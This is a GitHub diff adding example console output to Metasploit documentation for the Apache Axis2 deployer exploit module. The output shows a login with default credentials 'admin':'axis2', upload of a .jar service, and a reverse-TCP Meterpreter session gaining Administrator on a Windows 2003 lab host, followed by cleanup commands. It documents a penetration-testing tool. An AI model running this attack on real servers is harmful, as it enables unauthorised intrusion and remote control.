File tree Expand file tree Collapse file tree 1 file changed +26
-0
lines changed
documentation/modules/exploit/multi/http Expand file tree Collapse file tree 1 file changed +26
-0
lines changed Original file line number Diff line number Diff line change @@ -54,5 +54,31 @@ Exploit target:
54
54
msf exploit(axis2_deployer) > exploit
55
55
56
56
[*] Started reverse TCP handler on 10.10.155.39:4444
57
+ [+] http://10.10.155.37:8080/axis2/axis2-admin [Apache-Coyote/1.1] [Axis2 Web Admin Module] successful login 'admin' : 'axis2'
58
+ [*] Successfully uploaded
59
+ [*] Polling to see if the service is ready
60
+ [*] Sending stage (30355 bytes) to 10.10.155.37
61
+ [*] Meterpreter session 3 opened (10.10.155.39:4444 -> 10.10.155.37:1750) at 2017-03-26 23:33:19 -0500
62
+
63
+ [*] NOTE: You will need to delete the web service that was uploaded.
64
+
65
+ [*] Using meterpreter:
66
+ [*] rm "webapps/axis2/WEB-INF/services/mdLFvgMv.jar"
67
+
68
+ [*] Using the shell:
69
+ [*] cd "webapps/axis2/WEB-INF/services"
70
+ [*] del mdLFvgMv.jar
71
+
72
+
73
+ meterpreter > getuid
74
+ Server username: Administrator
75
+ meterpreter > sysinfo
76
+ Computer : juan-6ed9db6ca8
77
+ OS : Windows 2003 5.2 (x86)
78
+ Meterpreter : java/java
79
+ meterpreter > exit
80
+ [*] Shutting down Meterpreter...
81
+
82
+ [*] 10.10.155.37 - Meterpreter session 3 closed. Reason: User exit
57
83
58
84
```
You can’t perform that action at this time.
0 commit comments